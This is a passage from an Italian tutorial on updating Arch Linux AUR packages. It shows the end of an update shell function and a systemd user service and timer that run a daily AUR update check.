        echo "Nessun AUR helper trovato!"
        exit 1
    fi

    # Post-update cleanup
    echo "4. Pulizia post-aggiornamento..."
    yay -c 2>/dev/null || paru -c 2>/dev/null

    echo "Aggiornamento completato!"
}

safe_aur_update

Integration con System

Service di Monitoraggio

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /etc/systemd/user/aur-check.service
cat > ~/.config/systemd/user/aur-check.service << 'EOF'
[Unit]
Description=Check AUR packages for updates
Wants=aur-check.timer

[Service]
Type=oneshot
ExecStart=/usr/local/bin/aur-update-check.sh
StandardOutput=journal

[Install]
WantedBy=default.target
EOF

# /etc/systemd/user/aur-check.timer
cat > ~/.config/systemd/user/aur-check.timer << 'EOF'
[Unit]
Description=Check AUR packages daily
Requires=aur-check.service

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target
EOF

# Abilita servizio
systemctl --user enable aur-check.timer
systemctl --user start aur-check.timer

Risorse Aggiuntive